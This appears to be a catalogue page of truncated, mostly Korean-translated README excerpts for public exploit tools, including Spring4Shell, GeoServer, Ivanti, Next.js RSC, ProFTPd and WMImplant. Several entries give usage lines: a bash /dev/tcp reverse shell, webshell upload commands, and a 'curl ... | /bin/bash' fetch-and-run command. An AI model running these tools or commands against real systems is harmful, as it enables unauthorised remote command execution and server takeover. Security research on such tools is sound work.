CVE-2018-18649

CVE-2018-18649 CVE-2018-18649 EXP EXP 설명: Gitlab Wiki API 원격 명령 실행 취약점 CVE-2018-18649...

GenGravSSTIExploit

EN GenGravSSTIExploit 는 Grav CMS 버전 -p : https://hostname 형식의 대상 URL. : 포트 번호 기본값 80. 예시: python GenGravSSTIExploit.py -t http://example.com -p 8080 4. 익스플로잇과 상호 작용 익스플로잇이 성공하면 OS 명령을 실행할 수 있는 URL이 제공됩니다: + RCE payload injected. Visit the malicious page: http://example.com:8080/poc?do= 예시 출력 pyth...

OFBiz-Attack

OFBiz-Attack CVE-2023-49070/CVE-2023-51467 공격을 위한 도구 테스트 환경 vulhub/ofbiz:18.12.09 사용 시작 java -jar OFBiz-Attack.jar 총 세 가지 모듈이 있습니다: 취약점 탐지 대상 URL만 입력하면 됩니다. 불필요한 라우트를 추가하지 마십시오. 그렇지 않으면 후속 모듈 이용에 영향을 미칩니다. HTTPS 요청 전송만 지원하며, 실행 속도는 웹 서버 성능에 따라 다릅니다. 검증 완료 후 URL을 수정하지 마십시오. 후속 이용 시 이 상자에서 URL을...

CVE-2009-4623

고급 댓글 시스템 1.0 - 원격 명령 실행 RCE https://nvd.nist.gov/vuln/detail/CVE-2009-4623 예제 python3 exploit.py http://127.0.0.1 uname -a python3 exploit.py http://127.0.0.1 'bash -i & /dev/tcp/127.0.0.1/443 0&1'...

spring4shell-CVE-2022-22965

Simple Spring4Shell POC Check if endpoint is vulnerable python spring4shell.py -u http://192.168.110.117:8080/helloworld/greeting --check Exploit vulnerable endpoint python spring4shell.py -u http://192.168.110.117:8080/helloworld/greeting -f shell.jsp --exploit Execute command on uploaded webshe...

CVE-2024-36401

CVE-2024-36401 GeoServer 취약점 활용 도구 취약점 개요 CVE-2024-36401은 GeoServer의 원격 명령 실행 취약점으로, 공격자는 특정 WFSWeb Feature Service 요청을 구성하여 인증 없이 임의 명령을 실행할 수 있습니다. 환경 요구 사항 Python 3.x 필수 의존성 설치: pip install requests 사용 방법 이 도구는 cmd 모드직접 명령 실행와 reverse 모드리버스 셸 생성 두 가지 사용 모드를 지원합니다. 1. 대상이 외부 네트워크에 연결 가능한지 테스트...

nfsen-exploit

nfsen-exploit nfsen 1.3.7에서 CVE-2017-6971 원격 명령 실행 취약점을 이용한 익스플로잇입니다. Ubuntu에서 테스트되었으며, 아마 모든 환경에서 작동할 것입니다. 취약점은 Paul Taylor/Foregenix Ltd가 발견했습니다. 사용법: python exploit.py 이 명령은 원격 머신에 루트 권한 셸을 생성합니다...

CVE-2015-3306

ProFTPd 1.3.5 원격 명령 실행 작성자 : David Tavarez @davidtavarez 소프트웨어: ProFTPd 1.3.5 with modcopy 테스트됨 : Debian 4+deb7u2 ProFTPD 1.3.4a Debian-4+deb7u1 ProFTPD 1.3.4a CVE : 2015-3306...

CVE-2025-54068

CVE-2025-54068 CVE-2025-54068을 악용하고 Livewire 프로젝트의 APPKEY를 알고 있을 때 원격 명령 실행을 수행하도록 설계된 도구입니다. 이 도구는 Synacktiv 의 원본 프로젝트를 재구성한 버전입니다: Livepyre — https://github.com/synacktiv/Livepyre 핵심 개념과 방법론은 원래 구현을 기반으로 합니다. 이 버전에는 유용성과 유연성을 향상시키기 위한 사소한 개선 사항과 추가 기능이 포함되어 있습니다. 설치 pipx를 사용하여 도구 설치: pipx insta...

sunflower_exp

CVE-2022-10270 영향 버전: 向日葵 개인판 Windows --thread 스캔 시 스레드 수 기본 스레드 수: 100 --help 도움말 sunflowerpocexp.py 취약점 검증 및 스캔 도구 포트 탐지: 예: python sunflowerpocexp.py --scan --ip --port --thread 매개변수는 사용자가 지정해야 합니다. python sunflowerpocexp.py --scan 모두 기본 매개변수를 사용합니다. --scan 스캔 매개변수 --ip 스캔할 IP 주소 기본 스캔 IP...

susinternals

susinternals - @deft @cablethief & @randomwalksp reinoによる復活 このツールを使用すると、PythonスクリプトからPSExeSVCサービスを介してリモートでコマンドを実行できます。 以下の用途に使用できます： ユーザーとして認証する（プライマリトークンを使用）： SYSTEMとして認証する： ブログ記事の全文はこちらからご覧いただけます！...

CVE-2015-3306-Python-PoC

CVE-2015-3306-Python-PoC 이것은 OSCP 학습 및 익스플로잇 개발 연습을 위해 metasploit 모듈을 수정하여 변환한 것입니다. 원래는 searchsploit으로 임의의 원격 명령 실행 모듈을 검색하다가 발견했습니다. metasploit 코드를 분석하고 Python으로 변환했습니다. 증명 스크린샷:...

smbmap

SMBMap SMBMap를 사용하면 전체 도메인에 걸쳐 삼바 공유 드라이브를 열거할 수 있습니다. 공유 드라이브, 드라이브 권한, 공유 내용을 나열하고, 업로드/다운로드 기능, 파일 이름 자동 다운로드 패턴 매칭, 원격 명령 실행까지 가능합니다. 이 도구는 침투 테스트를 염두에 두고 설계되었으며, 대규모 네트워크에서 잠재적으로 민감한 데이터를 검색하는 과정을 단순화하기 위한 것입니다. 일부 기능은 충분히 테스트되지 않았으므로, 버그가 발견됨에 따라 변경 사항이 있을 예정입니다. 저는 주로 업무 중에만 버그를 찾고 수정하기 때문...

WMImplant

WMImplant WMImplant은 WMI를 활용하여 대상 머신에서 작업을 수행할 뿐만 아니라 C2 채널로 명령을 발행하고 결과를 수신하는 PowerShell 기반 도구입니다. WMImplant는 대상 머신에서 로컬 관리자 권한이 필요할 가능성이 높습니다. 개발자: @christruncer WMImplant 함수: 메타 함수 changeuser - WMI 명령을 실행할 사용자 컨텍스트 변경 exit - WMImplant 종료 gencli - WMImplant를 비대화형으로 실행하는 명령줄 명령 생성 setdefault - 대...

CVE-2025-55182-poc-tool

CVE-2025-55182-poc-tool Next.js React Server Components의 CVE-2025-55182 취약점을 탐지하고 악용하기 위한 강력한 익스플로잇 도구입니다. 이 도구는 취약한 Next.js 애플리케이션에서 원격 명령 실행RCE을 가능하게 하며, 내장된 WAF 우회 기능 을 제공합니다. 개요 CVE-2025-55182는 Next.js React Server Components의 심각한 취약점으로, 원격 공격자가 취약한 서버에서 임의의 명령을 실행할 수 있게 합니다. 이 도구는 이러한 취약점을...

CVE-2025-0282-Ivanti-exploit

CVE-2025-0282-Ivanti-exploit CVE-2025-0282는 Ivanti Connect Secure에서 발견된 치명적인 취약점으로, 버퍼 오버플로우 익스플로잇을 통해 원격 명령 실행RCE을 가능하게 합니다. 이 취약점은 공격자가 악성 파일예: 웹 셸을 업로드하고 상승된 권한으로 대상 시스템에서 명령을 실행할 수 있게 합니다. 악용 위험을 완화하려면 영향을 받는 시스템을 최신 버전으로 업데이트하는 것이 강력히 권장됩니다. 웹 셸 업로드 대상 시스템에 웹 셸을 업로드하려면 도구를 다음과 같이 사용합니다:...

ATutor-Instructor-Backup-Arbitrary-File

ATutor-강사-백업-익스플로잇 익스플로잇 제목: ATutor 2.2.4 'Backup' 원격 명령 실행 CVE-2019-12170 Google Dork: inurl:/ATutor/login.php 날짜: 5/13/2019 익스플로잇 작성자: liquidsky Joseph McPeters 공급업체 홈페이지: https://atutor.github.io/ 소프트웨어 링크: https://sourceforge.net/projects/atutor/files/latest/download 버전: 2.2.4 버전 2.2.4 및 이전 버...

CVE-2021-31760

..| CVE-2021-31760 |.. 설명 : Webmin의 실행 중인 프로세스 기능을 통해 사이트 간 요청 위조CSRF 공격을 악용하여 원격 명령 실행RCE을 달성합니다. 테스트된 버전 : Webmin 1.973 GitHub의 최신 버전 07/03/2021 공격 유형: 원격 영향 : 원격 명령 실행 익스플로잇 코드 POC : YouTube POC : https://youtu.be/D45FN8QrzDo 제품 공급업체 : https://www.webmin.com 추가 정보 : "Webmin은 Unix 계열 서버와 서비스를 위...

CVE-2018-6574

CVE-2018-6574 Go 1.8.7 이전, Go 1.9.x 1.9.4 이전, Go 1.10 프리릴리스 1.10rc2 이전 버전에서는 소스 코드 빌드 중에 go get 원격 명령 실행이 가능합니다. 이는 gcc 또는 clang 플러그인 기능을 활용하여 -fplugin= 및 -plugin= 인수가 차단되지 않았기 때문입니다. mitre에서 인용 RCE 명령 명령은 동적 라이브러리 calcdarwin.so로 컴파일되었습니다. 현재 명령은 curl newton.cycarrier:8002 | /bin/bash입니다. 이는 프로그램...

CVE-2021-31761

..| CVE-2021-31761 |.. 설명 : Webmin의 실행 중인 프로세스 기능을 통한 반사형 XSSReflected Cross-Site Scripting 공격을 악용하여 원격 명령 실행RCE을 획득합니다 테스트 버전 : Webmin 1.973 GitHub의 최신 버전 07/03/2021 공격 유형: 원격 영향 : 원격 명령 실행 익스플로잇 코드 POC : YouTube POC : https://youtu.be/23VvUMu-28c 제품 공급업체 : https://www.webmin.com 추가 정보 : "Webmin...